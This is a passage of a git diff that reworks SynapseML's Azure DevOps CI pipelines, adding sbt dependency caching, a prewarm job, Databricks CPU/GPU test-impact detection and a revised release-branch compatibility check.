tools/ci/tests/test_databricks_impact.py create mode 100644 tools/ci/tests/test_pipeline_yaml.py create mode 100644 tools/ci/tests/test_sbt_retry.py create mode 100644 tools/ci/tests/test_sbt_version.py diff --git a/.pipelines/clean-acr.yml b/.pipelines/clean-acr.yml index 4c4ffa2e6e2..4cde36b064b 100644 --- a/.pipelines/clean-acr.yml +++ b/.pipelines/clean-acr.yml @@ -1,3 +1,5 @@ +trigger: none +pr: none schedules: - cron: "0 1 * * 0" @@ -8,22 +10,22 @@ schedules: - master pool: - vmImage: 'ubuntu-latest' + vmImage: 'ubuntu-22.04' variables: - azureServiceConnection: 'synapseml-clean-acr' # Name of the Azure service connection in Azure DevOps + azureServiceConnection: 'synapseml-clean-acr' steps: + - checkout: self + fetchDepth: 1 + fetchTags: false + - task: AzureCLI@2 displayName: 'Clean ACR' inputs: - azureSubscription: 'SynapseML Build' + azureSubscription: $(azureServiceConnection) scriptLocation: inlineScript scriptType: bash inlineScript: | - set -e - pip install --upgrade pip - pip install azure-storage-blob azure-identity azure-keyvault-secrets - python tools/acr/clean-acr.py mmlspark-keys clean-acr-connection-string - - + set -euo pipefail + python tools/acr/clean_acr.py diff --git a/pipeline.yaml b/pipeline.yaml index 761a893dde7..b17859cb74c 100644 --- a/pipeline.yaml +++ b/pipeline.yaml @@ -96,36 +96,111 @@ variables: runCoverage: $[or(eq(variables['Build.Reason'], 'PullRequest'), eq(variables['Build.SourceBranch'], 'refs/heads/master'), startsWith(variables['Build.SourceBranch'], 'refs/tags/'))] jobs: +- job: BuildAndCacheSbt + displayName: 'Prewarm sbt bootstrap cache' + cancelTimeoutInMinutes: 0 + pool: + vmImage: $(UBUNTU_VERSION) + steps: + - checkout: self + fetchDepth: 1 + - bash: | + set -uo pipefail + run_databricks_cpu=true + run_databricks_gpu=true + + if [ "$(Build.Reason)" = "PullRequest" ]; then + target_ref="${SYSTEM_PULLREQUEST_TARGETBRANCH:-}" + if [ -z "$target_ref" ]; then + echo "##vso[task.logissue type=warning]PR target branch was unavailable; running Databricks E2E" + elif git fetch --no-tags --depth=1 origin "$target_ref"; then + target_commit="$(git rev-parse FETCH_HEAD)" + + # Azure checks out the PR merge ref, so target tip -> HEAD is the + # effective PR diff. A source-only checkout can only over-report + # target changes, which safely keeps Databricks enabled. + echo "Changed paths used for Databricks E2E impact detection:" + changed_paths_file="$(mktemp)" + trap 'rm -f "$changed_paths_file"' EXIT + git diff --name-only -z --diff-filter=ACMRD "$target_commit" HEAD > "$changed_paths_file" + tr '\0' '\n' < "$changed_paths_file" | sed 's/^/ /' + + cpu_decision="$( + python3 tools/ci/databricks_impact.py --null --suite cpu < "$changed_paths_file" + )" + gpu_decision="$( + python3 tools/ci/databricks_impact.py --null --suite gpu < "$changed_paths_file" + )" + case "$cpu_decision" in + true|false) run_databricks_cpu="$cpu_decision" ;; + *) + echo "##vso[task.logissue type=warning]Invalid Databricks CPU impact result; running CPU E2E" + ;; + esac + case "$gpu_decision" in + true|false) run_databricks_gpu="$gpu_decision" ;; + *) + echo "##vso[task.logissue type=warning]Invalid Databricks GPU impact result; running GPU E2E" + ;; + esac + else + echo "##vso[task.logissue type=warning]Could not fetch PR target branch; running Databricks E2E" + fi + else + echo "Non-PR build; Databricks E2E remains enabled" + fi + + echo "Databricks CPU E2E enabled: $run_databricks_cpu" + echo "Databricks GPU E2E enabled: $run_databricks_gpu" + echo "##vso[task.setvariable variable=runDatabricksCpuE2E;isOutput=true]$run_databricks_cpu" + echo "##vso[task.setvariable variable=runDatabricksGpuE2E;isOutput=true]$run_databricks_gpu" + name: detectDatabricksImpact + displayName: 'Detect Databricks E2E impact' + - template: templates/update_cli.yml + - template: templates/sbt_cache.yml + parameters: + prewarm: true + maxAttempts: 7 + maxBackoffSeconds: 180 + - job: Style + dependsOn: BuildAndCacheSbt cancelTimeoutInMinutes: 0 - condition: and(eq(variables.runTests, 'True'), eq('${{ parameters.testStyle }}', true)) + condition: and(succeeded(), eq(variables.runTests, 'True'), eq('${{ parameters.testStyle }}', true)) pool: vmImage: $(UBUNTU_VERSION) steps: - - task: AzureCLI@2 + - template: templates/sbt_cache.yml + - bash: sbt scalastyle test:scalastyle displayName: 'Scala Style Check' + - task: UsePythonVersion@0 inputs: - azureSubscription: 'SynapseML Build' - scriptLocation: inlineScript - scriptType: bash - inlineScript: 'sbt scalastyle test:scalastyle' - - template: templates/conda.yml + versionSpec: '3.11' + architecture: 'x64' + disableDownloadFromRegistry: true - bash: | set -e - source activate synapseml + python -m pip install -q 'black[jupyter]==22.3.0' black --diff --color . && black --check -q . displayName: 'Python Style Check' - ${{ if eq(parameters.publishArtifacts, true) }}: - job: Publish - condition: eq('${{ parameters.publishArtifacts }}', true) + dependsOn: BuildAndCacheSbt + condition: and(succeeded(), eq('${{ parameters.publishArtifacts }}', true)) cancelTimeoutInMinutes: 0 pool: vmImage: $(UBUNTU_VERSION) steps: - #- template: templates/ivy_cache.yml + - template: templates/sbt_cache.yml - template: templates/update_cli.yml - template: templates/conda.yml - template: templates/kv.yml + - bash: | + set -euo pipefail + PACKAGE_VERSION=$(bash tools/ci/get_sbt_version.sh) + echo "Publishing SynapseML package version $PACKAGE_VERSION" + echo "##vso[task.setvariable variable=packageVersion]$PACKAGE_VERSION" + displayName: 'Resolve package version' - task: MavenAuthenticate@0 name: mavenAuthPublicPackages displayName: Authenticate SynapseML_PublicPackages @@ -140,6 +215,8 @@ jobs: scriptType: bash inlineScript: | set -e + test -n "$(packageVersion)" + echo "Publishing SynapseML package version $(packageVersion)" sudo apt-get install graphviz doxygen -y source activate synapseml sbt packagePython uploadNotebooks @@ -166,9 +243,16 @@ jobs: condition: and(succeeded(), eq(variables.isMaster, true)) displayName: Publish Badges -- job: DatabricksE2E - displayName: 'Databricks E2E' - condition: eq('${{ parameters.testDatabricksE2E }}', true) +- job: DatabricksCPUE2E + dependsOn: BuildAndCacheSbt + displayName: 'Databricks CPU E2E' + condition: >- + and( + succeeded(), + eq(variables.runTests, 'True'), + eq('${{ parameters.testDatabricksE2E }}', true), + eq(dependencies.BuildAndCacheSbt.outputs['detectDatabricksImpact.runDatabricksCpuE2E'], 'true') + ) timeoutInMinutes: 300 cancelTimeoutInMinutes: 0 pool: @@ -189,45 +273,42 @@ jobs: TEST-CLASS: "com.microsoft.azure.synapse.ml.nbtest.DatabricksCPUTests4" databricks-cpu-5: TEST-CLASS: "com.microsoft.azure.synapse.ml.nbtest.DatabricksCPUTests5" - databricks-gpu: - TEST-CLASS: "com.microsoft.azure.synapse.ml.nbtest.DatabricksGPUTests" -# databricks-rapids tests have been disabled because these tests are failing. -# This test will be re-enabled once the issue is fixed. -# databricks-rapids: -# TEST-CLASS: "com.microsoft.azure.synapse.ml.nbtest.DatabricksRapidsTests" steps: - #- template: templates/ivy_cache.yml - - template: templates/update_cli.yml - - template: templates/conda.yml - - template: templates/kv.yml - - template: templates/publish.yml - - task: AzureCLI@2 - displayName: 'E2E' - inputs: - azureSubscription: 'SynapseML Build' - scriptLocation: inlineScript - scriptType: bash - inlineScript: | - set -e - source activate synapseml - sbt "testOnly $(TEST-CLASS)" - condition: and(succeeded(), eq(variables.runTests, 'True')) - - task: PublishTestResults@2 - displayName: 'Publish Test Results' - inputs: - testResultsFiles: '**/test-reports/TEST-*.xml' - failTaskOnFailedTests: true - condition: and(eq(variables.runTests, 'True'), succeededOrFailed()) + - template: templates/databricks_e2e_steps.yml + +- job: DatabricksGPUE2E + dependsOn: BuildAndCacheSbt + displayName: 'Databricks GPU E2E' + condition: >- + and( + succeeded(), + eq(variables.runTests, 'True'), + eq('${{ parameters.testDatabricksE2E }}', true), + eq(dependencies.BuildAndCacheSbt.outputs['detectDatabricksImpact.runDatabricksGpuE2E'], 'true') + ) + timeoutInMinutes: 300 + cancelTimeoutInMinutes: 0 + pool: + vmImage: $(UBUNTU_VERSION) + variables: + TEST-CLASS: "com.microsoft.azure.synapse.ml.nbtest.DatabricksGPUTests" + MML_ADB_AUTH_TYPE: "aad" + MML_ADB_WORKSPACE_HOST: "adb-1885762835647850.10.azuredatabricks.net" + MML_ADB_WORKSPACE_RESOURCE_ID: "/subscriptions/e342c2c0-f844-4b18-9208-52c8c234c30e/resourceGroups/marhamil-mmlspark/providers/Microsoft.Databricks/workspaces/synapseml-build-adb" +# The DatabricksRapidsTests suite remains disabled until its existing failures are fixed. + steps: + - template: templates/databricks_e2e_steps.yml - job: FabricE2E + dependsOn: BuildAndCacheSbt displayName: 'Fabric E2E' - condition: eq('${{ parameters.testFabricE2E }}', true) + condition: and(succeeded(), eq('${{ parameters.testFabricE2E }}', true)) timeoutInMinutes: 120 cancelTimeoutInMinutes: 0 pool: vmImage: $(UBUNTU_VERSION) steps: - #- template: templates/ivy_cache.yml + - template: templates/sbt_cache.yml - template: templates/update_cli.yml - template: templates/conda.yml - template: templates/kv.yml @@ -257,20 +338,19 @@ jobs: condition: and(eq(variables.runTests, 'True'), succeededOrFailed()) # - job: BuildDocker + dependsOn: BuildAndCacheSbt displayName: BuildDocker + timeoutInMinutes: 120 pool: vmImage: ubuntu-22.04 steps: - - task: AzureCLI@2 + - template: templates/sbt_cache.yml + - bash: | + set -euo pipefail + VERSION=$(bash tools/ci/get_sbt_version.sh) + echo '##vso[task.setvariable variable=version]'$VERSION + echo '##vso[task.setvariable variable=gittag]'$(git tag -l --points-at HEAD) displayName: 'Get Docker Tag + Version' - inputs: - azureSubscription: 'SynapseML Build' - scriptLocation: inlineScript - scriptType: bash - inlineScript: | - VERSION=$(sbt "core/version" | tail -1 | cut -d' ' -f2 | sed 's/\x1b\[[0-9;]*m//g') - echo '##vso[task.setvariable variable=version]'$VERSION - echo '##vso[task.setvariable variable=gittag]'$(git tag -l --points-at HEAD) # Build all images (runs on every build to validate Dockerfiles) - task: Docker@2 displayName: Demo Image Build @@ -330,15 +410,31 @@ jobs: - ${{ if eq(parameters.publishRelease, true) }}: - job: Release - condition: eq('${{ parameters.publishRelease }}', true) + dependsOn: BuildAndCacheSbt + condition: and(succeeded(), eq('${{ parameters.publishRelease }}', true)) cancelTimeoutInMinutes: 0 pool: vmImage: $(UBUNTU_VERSION) steps: + - template: templates/sbt_cache.yml - template: templates/update_cli.yml - bash: | echo '##vso[task.setvariable variable=tag]'$(git tag -l --points-at HEAD) displayName: 'Get Git Tag' + - bash: | + set -euo pipefail + PACKAGE_VERSION=$(bash tools/ci/get_sbt_version.sh) + EXPECTED_VERSION="${RELEASE_TAG#v}" + if [ "$PACKAGE_VERSION" != "$EXPECTED_VERSION" ]; then + echo "Package version $PACKAGE_VERSION does not match release tag $RELEASE_TAG" >&2 + exit 1 + fi + echo "Publishing release package version $PACKAGE_VERSION" + echo "##vso[task.setvariable variable=packageVersion]$PACKAGE_VERSION" + condition: and(eq(variables.isMaster, true), startsWith(variables['tag'], 'v')) + displayName: 'Validate release package version' + env: + RELEASE_TAG: $(tag) - bash: | set -e wget https://github.com/git-chglog/git-chglog/releases/download/0.8.0/git-chglog_linux_amd64 @@ -386,6 +482,7 @@ jobs: - bash: | set -e source activate synapseml + echo "Publishing Python package version $(packageVersion)" sbt publishPypi condition: and(eq(variables.isMaster, true), startsWith(variables['tag'], 'v')) env: @@ -401,6 +498,7 @@ jobs: - bash: | set -e source activate synapseml + echo "Preparing Maven package version $(packageVersion)" sbt publishLocalSigned python tools/esrp/prepare_jar.py condition: and(eq(variables.isMaster, true), startsWith(variables['tag'], 'v')) @@ -430,9 +528,10 @@ jobs: condition: and(eq(variables.isMaster, true), startsWith(variables['tag'], 'v')) - job: PythonTests + dependsOn: BuildAndCacheSbt timeoutInMinutes: 120 cancelTimeoutInMinutes: 0 - condition: and(eq(variables.runTests, 'True'), eq('${{ parameters.testPython }}', true)) + condition: and(succeeded(), eq(variables.runTests, 'True'), eq('${{ parameters.testPython }}', true)) pool: vmImage: $(UBUNTU_VERSION) strategy: @@ -456,22 +555,17 @@ jobs: cognitive: PACKAGE: "cognitive" steps: - #- template: templates/ivy_cache.yml + - template: templates/sbt_cache.yml - template: templates/update_cli.yml - template: templates/conda.yml - template: templates/kv.yml - - task: AzureCLI@2 + - bash: | + source activate synapseml + if [ "$(runCoverage)" = "True" ]; then COV_CMD="coverage"; else COV_CMD=""; fi + sbt $COV_CMD getDatasets installPipPackage + sbt publishM2 displayName: 'Install and package deps' timeoutInMinutes: 40 - inputs: - azureSubscription: 'SynapseML Build' - scriptLocation: inlineScript - scriptType: bash - inlineScript: | - source activate synapseml - if [ "$(runCoverage)" = "True" ]; then COV_CMD="coverage"; else COV_CMD=""; fi - sbt $COV_CMD getDatasets installPipPackage - sbt publishM2 - task: AzureCLI@2 displayName: 'Test Python Code' retryCountOnTaskFailure: 1 @@ -507,21 +601,17 @@ jobs: testResultsFiles: '**/python-test-*.xml' failTaskOnFailedTests: true condition: succeededOrFailed() - - task: AzureCLI@2 + - bash: sbt coverageReport displayName: 'Generate Codecov report' retryCountOnTaskFailure: 1 - inputs: - azureSubscription: 'SynapseML Build' - scriptLocation: inlineScript - scriptType: bash - inlineScript: 'sbt coverageReport' condition: and(succeededOrFailed(), eq(variables.runCoverage, true)) - ${{ if or(eq(variables['Build.Reason'], 'PullRequest'), eq(variables['Build.SourceBranch'], 'refs/heads/master'), startsWith(variables['Build.SourceBranch'], 'refs/tags/')) }}: - template: templates/codecov.yml - job: RTests + dependsOn: BuildAndCacheSbt timeoutInMinutes: 60 cancelTimeoutInMinutes: 0 - condition: and(eq(variables.runTests, 'True'), eq('${{ parameters.testR }}', true)) + condition: and(succeeded(), eq(variables.runTests, 'True'), eq('${{ parameters.testR }}', true)) pool: vmImage: $(UBUNTU_VERSION) strategy: @@ -539,29 +629,24 @@ jobs: cognitive: PACKAGE: "cognitive" steps: - #- template: templates/ivy_cache_2.yml + - template: templates/sbt_cache.yml - template: templates/update_cli.yml - template: templates/conda.yml - template: templates/kv.yml - - task: AzureCLI@2 + - bash: | + set -e + export SBT_OPTS="-Xms2G -XX:+UseConcMarkSweepGC -XX:+CMSClassUnloadingEnabled -Xss5M -Duser.timezone=GMT" + source activate synapseml + bash tools/ci/sbt_retry.sh setup + sbt codegen + sbt publishM2 + SPARK_VERSION=3.5.0 + HADOOP_VERSION=3 + # wget https://archive.apache.org/dist/spark/spark-${SPARK_VERSION}/spark-${SPARK_VERSION}-bin-hadoop${HADOOP_VERSION}.tgz + wget https://mmlspark.blob.core.windows.net/installers/spark-${SPARK_VERSION}-bin-hadoop${HADOOP_VERSION}.tgz displayName: 'Prepare for tests' retryCountOnTaskFailure: 1 timeoutInMinutes: 60 - inputs: - azureSubscription: 'SynapseML Build' - scriptLocation: inlineScript - scriptType: bash - inlineScript: | - set -e - export SBT_OPTS="-Xms2G -XX:+UseConcMarkSweepGC -XX:+CMSClassUnloadingEnabled -Xss5M -Duser.timezone=GMT" - source activate synapseml - (timeout 5m sbt setup) || (echo "retrying" && timeout 5m sbt setup) || (echo "retrying" && timeout 5m sbt setup) - sbt codegen - sbt publishM2 - SPARK_VERSION=3.5.0 - HADOOP_VERSION=3 - # wget https://archive.apache.org/dist/spark/spark-${SPARK_VERSION}/spark-${SPARK_VERSION}-bin-hadoop${HADOOP_VERSION}.tgz - wget https://mmlspark.blob.core.windows.net/installers/spark-${SPARK_VERSION}-bin-hadoop${HADOOP_VERSION}.tgz - task: AzureCLI@2 displayName: 'Test R Code' retryCountOnTaskFailure: 3 @@ -581,33 +666,21 @@ jobs: testResultsFiles: '**/r-test-*.xml' failTaskOnFailedTests: true condition: succeededOrFailed() - - task: AzureCLI@2 + - bash: sbt coverageReport retryCountOnTaskFailure: 1 displayName: 'Generate Codecov report' - inputs: - azureSubscription: 'SynapseML Build' - scriptLocation: inlineScript - scriptType: bash - inlineScript: 'sbt coverageReport' condition: and(succeededOrFailed(), eq(variables.runCoverage, true)) - ${{ if or(eq(variables['Build.Reason'], 'PullRequest'), eq(variables['Build.SourceBranch'], 'refs/heads/master'), startsWith(variables['Build.SourceBranch'], 'refs/tags/')) }}: - template: templates/codecov.yml -- job: BuildAndCacheCondaEnv - cancelTimeoutInMinutes: 0 - condition: eq(variables.runTests, 'True') - pool: - vmImage: $(UBUNTU_VERSION) - steps: - - template: templates/conda.yml - - job: WebsiteSamplesTests + dependsOn: BuildAndCacheSbt cancelTimeoutInMinutes: 0 - condition: and(eq(variables.runTests, 'True'), eq('${{ parameters.testWebsiteSamples }}', true)) + condition: and(succeeded(), eq(variables.runTests, 'True'), eq('${{ parameters.testWebsiteSamples }}', true)) pool: vmImage: $(UBUNTU_VERSION) steps: - #- template: templates/ivy_cache.yml + - template: templates/sbt_cache.yml - template: templates/update_cli.yml - template: templates/conda.yml - template: templates/kv.yml @@ -620,7 +693,7 @@ jobs: scriptLocation: inlineScript scriptType: bash inlineScript: | - (timeout 5m sbt setup) || (echo "retrying" && timeout 5m sbt setup) || (echo "retrying" && timeout 5m sbt setup) + bash tools/ci/sbt_retry.sh setup if [ "$(runCoverage)" = "True" ]; then COV_CMD="coverage"; else COV_CMD=""; fi (sbt $COV_CMD testWebsiteDocs) - task: PublishTestResults@2 @@ -629,22 +702,18 @@ jobs: testResultsFiles: '**/website-test-result.xml' failTaskOnFailedTests: true condition: succeededOrFailed() - - task: AzureCLI@2 + - bash: sbt coverageReport displayName: 'Generate Codecov report' retryCountOnTaskFailure: 1 - inputs: - azureSubscription: 'SynapseML Build' - scriptLocation: inlineScript - scriptType: bash - inlineScript: 'sbt coverageReport' condition: and(succeededOrFailed(), eq(variables.runCoverage, true)) - ${{ if or(eq(variables['Build.Reason'], 'PullRequest'), eq(variables['Build.SourceBranch'], 'refs/heads/master'), startsWith(variables['Build.SourceBranch'], 'refs/tags/')) }}: - template: templates/codecov.yml - job: UnitTests + dependsOn: BuildAndCacheSbt cancelTimeoutInMinutes: 1 timeoutInMinutes: 80 - condition: and(eq(variables.runTests, 'True'), eq('${{ parameters.testUnit }}', true)) + condition: and(succeeded(), eq(variables.runTests, 'True'), eq('${{ parameters.testUnit }}', true)) pool: vmImage: $(UBUNTU_VERSION) strategy: @@ -759,35 +828,16 @@ jobs: vw: PACKAGE: "vw" steps: - #- template: templates/ivy_cache.yml + - template: templates/sbt_cache.yml - template: templates/update_cli.yml - - task: AzureCLI@2 + - bash: | + (timeout 30s pip install requests) || (echo "retrying" && timeout 30s pip install requests) + (${FFMPEG:-false} && sudo apt-get update && \ + sudo apt-get install ffmpeg libgstreamer1.0-0 \ + gstreamer1.0-plugins-base gstreamer1.0-plugins-good gstreamer1.0-plugins-ugly -y) + bash tools/ci/sbt_retry.sh setup displayName: 'Setup repo' retryCountOnTaskFailure: 1 - inputs: - azureSubscription: 'SynapseML Build' - scriptLocation: inlineScript - scriptType: bash - inlineScript: | - (timeout 30s pip install requests) || (echo "retrying" && timeout 30s pip install requests) - (${FFMPEG:-false} && sudo apt-get update && \ - sudo apt-get install ffmpeg libgstreamer1.0-0 \ - gstreamer1.0-plugins-base gstreamer1.0-plugins-good gstreamer1.0-plugins-ugly -y) - # Matrix jobs start together, so stagger retries when Maven Central rate-limits sbt bootstrap. - retry_sbt_setup() { - for attempt in 1 2 3; do - if timeout 5m sbt setup; then - return 0 - fi - if [ "$attempt" -eq 3 ]; then - return 1 - fi - delay=$((attempt * 30 + RANDOM % 30)) - echo "sbt setup attempt $attempt failed; retrying in ${delay}s" - sleep "$delay" - done - } - retry_sbt_setup - task: AzureCLI@2 displayName: 'Unit Test' retryCountOnTaskFailure: 1 @@ -810,14 +860,9 @@ jobs: testResultsFiles: '**/test-reports/TEST-*.xml' failTaskOnFailedTests: true condition: succeededOrFailed() - - task: AzureCLI@2 + - bash: sbt coverageReport displayName: 'Generate Codecov report' retryCountOnTaskFailure: 1 - inputs: - azureSubscription: 'SynapseML Build' - scriptLocation: inlineScript - scriptType: bash - inlineScript: 'sbt coverageReport' condition: and(succeededOrFailed(), eq(variables.runCoverage, true)) - ${{ if or(eq(variables['Build.Reason'], 'PullRequest'), eq(variables['Build.SourceBranch'], 'refs/heads/master'), startsWith(variables['Build.SourceBranch'], 'refs/tags/')) }}: - task: AzureKeyVault@2 @@ -831,11 +876,20 @@ jobs: - template: templates/codecov.yml - job: ReleaseBranchCompat + dependsOn: BuildAndCacheSbt displayName: 'Release Branch Compatibility Check' cancelTimeoutInMinutes: 0 timeoutInMinutes: 60 continueOnError: true - condition: and(eq(variables.isPR, true), eq(variables['System.PullRequest.TargetBranch'], 'refs/heads/master')) + condition: >- + and( + succeeded(), + eq(variables.isPR, true), + or( + eq(variables['System.PullRequest.TargetBranch'], 'master'), + eq(variables['System.PullRequest.TargetBranch'], 'refs/heads/master') + ) + ) pool: vmImage: $(UBUNTU_VERSION) strategy: @@ -863,87 +917,89 @@ jobs: set -e echo "=== Current HEAD (PR merge commit) ===" git log --oneline -1 - PR_HEAD=$(git rev-parse HEAD) - echo "PR HEAD: $PR_HEAD" + TARGET_HEAD=$(git rev-parse HEAD^1) + SOURCE_HEAD=$(git rev-parse HEAD^2) + echo "PR target: $TARGET_HEAD" + echo "PR source: $SOURCE_HEAD" + + RELEASE_RELEVANT_PATHS=() + while IFS= read -r -d '' path; do + case "$path" in + .github/*|.pipelines/*|docs/*|templates/*|tools/acr/*|tools/ci/*|tools/docker/*|tools/helm/*|website/*) + ;; + pipeline.yaml|CODEOWNERS|CONTRIBUTING.md|LICENSE|README.md|SECURITY.md) + ;; + *) + RELEASE_RELEVANT_PATHS+=("$path") + ;; + esac + done < <(git diff --name-only -z "$TARGET_HEAD" HEAD) + + if [ ${#RELEASE_RELEVANT_PATHS[@]} -eq 0 ]; then + echo "No release-relevant paths changed; compatibility validation is not required" + echo "##vso[task.setvariable variable=releaseCompatRequired]false" + exit 0 + fi + + echo "Release-relevant paths:" + printf ' %s\n' "${RELEASE_RELEVANT_PATHS[@]}" + echo "##vso[task.setvariable variable=releaseCompatRequired]true" echo "=== Fetching release branch $(RELEASE_BRANCH) ===" git fetch origin $(RELEASE_BRANCH) RELEASE_TIP=$(git rev-parse FETCH_HEAD) echo "Release branch tip: $RELEASE_TIP" - # Find commits unique to the release branch (not in master) - # These are the release-specific patches we need to replay - MASTER_BASE=$(git merge-base FETCH_HEAD $PR_HEAD) - UNIQUE_COMMITS=$(git rev-list --count $MASTER_BASE..$RELEASE_TIP) - echo "Release branch has $UNIQUE_COMMITS unique commit(s) to replay" + PR_COMMITS=$(git rev-list --count $TARGET_HEAD..$SOURCE_HEAD) + echo "PR has $PR_COMMITS commit(s) to replay onto $(RELEASE_BRANCH)" - echo "=== Attempting rebase of $(RELEASE_BRANCH) onto PR HEAD ===" - git checkout FETCH_HEAD - git rebase --onto $PR_HEAD $MASTER_BASE 2>&1 || { - echo "##vso[task.logissue type=warning]Rebase of $(RELEASE_BRANCH) onto this PR has merge conflicts" + echo "=== Attempting to apply PR changes onto $(RELEASE_BRANCH) ===" + git checkout $SOURCE_HEAD + git rebase --onto $RELEASE_TIP $TARGET_HEAD $SOURCE_HEAD 2>&1 || { + echo "##vso[task.logissue type=warning]PR changes conflict with $(RELEASE_BRANCH)" echo "" echo "=== Conflicting files ===" git diff --name-only --diff-filter=U 2>/dev/null || true git rebase --abort 2>/dev/null || true exit 1 } - echo "Rebase succeeded — $(RELEASE_BRANCH) patches apply cleanly onto this PR" - displayName: 'Rebase $(RELEASE_BRANCH) onto PR HEAD' + echo "PR changes apply cleanly onto $(RELEASE_BRANCH)" + displayName: 'Apply PR changes onto $(RELEASE_BRANCH)' - - task: AzureCLI@2 - displayName: 'Compile $(RELEASE_BRANCH) after rebase' - timeoutInMinutes: 20 - inputs: - azureSubscription: 'SynapseML Build' - scriptLocation: inlineScript - scriptType: bash - inlineScript: | - set -e - export SBT_OPTS="-Xmx4G -Xss2M -Duser.timezone=GMT" - echo "=== Compiling $(RELEASE_BRANCH) rebased onto PR HEAD ===" - sbt $(SBT_JAVA_OPTS) compile test:compile - echo "$(RELEASE_BRANCH) compiles successfully after rebase" - - - task: AzureCLI@2 - displayName: 'Setup repo for tests' - inputs: - azureSubscription: 'SynapseML Build' - scriptLocation: inlineScript - scriptType: bash - inlineScript: | - (timeout 30s pip install requests) || (echo "retrying" && timeout 30s pip install requests) - (timeout 5m sbt $(SBT_JAVA_OPTS) setup) || (echo "retrying" && timeout 5m sbt $(SBT_JAVA_OPTS) setup) || (echo "retrying" && timeout 5m sbt $(SBT_JAVA_OPTS) setup) - - - template: templates/kv.yml + - template: templates/sbt_cache.yml + - bash: | + set -e + export SBT_OPTS="-Xmx4G -Xss2M -Duser.timezone=GMT" + CORE_TESTS="com.microsoft.azure.synapse.ml.core.** \ + com.microsoft.azure.synapse.ml.automl.** \ + com.microsoft.azure.synapse.ml.causal.** \ + com.microsoft.azure.synapse.ml.featurize.** \ + com.microsoft.azure.synapse.ml.image.** \ + com.microsoft.azure.synapse.ml.isolationforest.** \ + com.microsoft.azure.synapse.ml.stages.** \ + com.microsoft.azure.synapse.ml.recommendation.** \ + com.microsoft.azure.synapse.ml.nn.** \ + com.microsoft.azure.synapse.ml.train.** \ + com.microsoft.azure.synapse.ml.exploratory.**" - - task: AzureCLI@2 - displayName: 'Unit tests on $(RELEASE_BRANCH) after rebase' - timeoutInMinutes: 60 - inputs: - azureSubscription: 'SynapseML Build' - scriptLocation: inlineScript - scriptType: bash - inlineScript: | - set -e - export SBT_OPTS="-Xmx4G -Xss2M -Duser.timezone=GMT" - echo "=== Running unit tests on $(RELEASE_BRANCH) rebased onto PR HEAD ===" - FAILURES=0 - for pkg in core automl causal featurize image isolationforest stages recommendation nn train vw opencv exploratory; do - echo "=== Testing $pkg ===" - if ! timeout 10m sbt $(SBT_JAVA_OPTS) "testOnly com.microsoft.azure.synapse.ml.$pkg.**"; then - echo "##vso[task.logissue type=warning]$pkg tests failed on $(RELEASE_BRANCH)" - FAILURES=$((FAILURES + 1)) - fi - done - if [ $FAILURES -gt 0 ]; then - echo "##vso[task.logissue type=warning]$FAILURES package(s) failed on $(RELEASE_BRANCH)" - exit 1 - fi - echo "All unit tests passed on $(RELEASE_BRANCH)" + echo "=== Compiling and testing PR changes on $(RELEASE_BRANCH) ===" + timeout 50m sbt $(SBT_JAVA_OPTS) \ + test:compile \ + getDatasets \ + "project core" \ + "testOnly $CORE_TESTS" \ + "project vw" \ + "testOnly com.microsoft.azure.synapse.ml.vw.**" \ + "project opencv" \ + "testOnly com.microsoft.azure.synapse.ml.opencv.**" + echo "$(RELEASE_BRANCH) compiles and passes compatibility tests" + displayName: 'Validate $(RELEASE_BRANCH) after rebase' + timeoutInMinutes: 55 + condition: and(succeeded(), eq(variables.releaseCompatRequired, 'true')) - task: PublishTestResults@2 displayName: 'Publish $(RELEASE_BRANCH) Test Results' inputs: testResultsFiles: '**/test-reports/TEST-*.xml' failTaskOnFailedTests: false - condition: succeededOrFailed() + condition: and(succeededOrFailed(), eq(variables.releaseCompatRequired, 'true')) diff --git a/templates/databricks_e2e_steps.yml b/templates/databricks_e2e_steps.yml new file mode 100644 index 00000000000..eadd5ad69fd --- /dev/null +++ b/templates/databricks_e2e_steps.yml @@ -0,0 +1,23 @@ +steps: + - template: sbt_cache.yml + - template: update_cli.yml + - template: conda.yml + - template: kv.yml + - template: publish.yml + - task: AzureCLI@2 + displayName: 'E2E' + inputs: + azureSubscription: 'SynapseML Build' + scriptLocation: inlineScript + scriptType: bash + inlineScript: | + set -e + source activate synapseml + sbt "testOnly $(TEST-CLASS)" + condition: and(succeeded(), eq(variables.runTests, 'True')) + - task: PublishTestResults@2 + displayName: 'Publish Test Results' + inputs: + testResultsFiles: '**/test-reports/TEST-*.xml' + failTaskOnFailedTests: true + condition: and(eq(variables.runTests, 'True'), succeededOrFailed()) diff --git a/templates/sbt_cache.yml b/templates/sbt_cache.yml new file mode 100644 index 00000000000..36aaab456ac --- /dev/null +++ b/templates/sbt_cache.yml @@ -0,0 +1,88 @@ +# Reusable sbt bootstrap cache for CI jobs. +# +# Every hosted-agent matrix job cold-bootstraps the sbt launcher +# (org.scala-sbt:sbt:) and resolves Ivy dependencies from public Maven +# Central. Running ~30 of these concurrently (across overlapping PR builds) +# triggers HTTP 429 rate limiting and fails "Setup repo" before tests run. +# +# These caches make steady-state builds restore the sbt launcher and resolved +# dependencies from Azure's cache service instead of Maven Central, so jobs do +# not cold-bootstrap at all. Every sbt-running job waits for BuildAndCacheSbt, +# which populates a missing cache key before the fan-out begins. +# +# Cache keys are derived from the bootstrap inputs so they invalidate exactly +# when those inputs change: +# * project/build.properties pins sbt.version -> launcher boot key +# * root/project *.sbt files + project Scala sources pin plugins/deps +# -> Ivy and Coursier resolution keys +# restoreKeys provide a safe partial fallback: sbt validates a restored cache +# and re-fetches only what is missing. continueOnError keeps a cache-service +# hiccup or a corrupt entry non-fatal - the job falls back to a normal +# (staggered, retried) bootstrap rather than failing. +parameters: + - name: prewarm + type: boolean + default: false + - name: maxAttempts + type: number + default: 5 + - name: maxBackoffSeconds + type: number + default: 120 + +steps: + - task: Cache@2 + displayName: Cache sbt launcher boot + inputs: + key: 'sbtboot-v1 | "$(Agent.OS)" | project/build.properties' + restoreKeys: | + sbtboot-v1 | "$(Agent.OS)" + sbtboot-v1 + path: $(Pipeline.Workspace)/../../.sbt/boot + cacheHitVar: SBT_BOOT_CACHE_RESTORED + continueOnError: true + - task: Cache@2 + displayName: Cache sbt ivy dependencies + inputs: + key: 'sbtivy-v1 | "$(Agent.OS)" | project/build.properties | project/*.sbt | **/build.sbt | project/**/*.scala' + restoreKeys: | + sbtivy-v1 | "$(Agent.OS)" + sbtivy-v1 + path: $(Pipeline.Workspace)/../../.ivy2/cache + cacheHitVar: SBT_IVY_CACHE_RESTORED + continueOnError: true + - task: Cache@2 + displayName: Cache Coursier 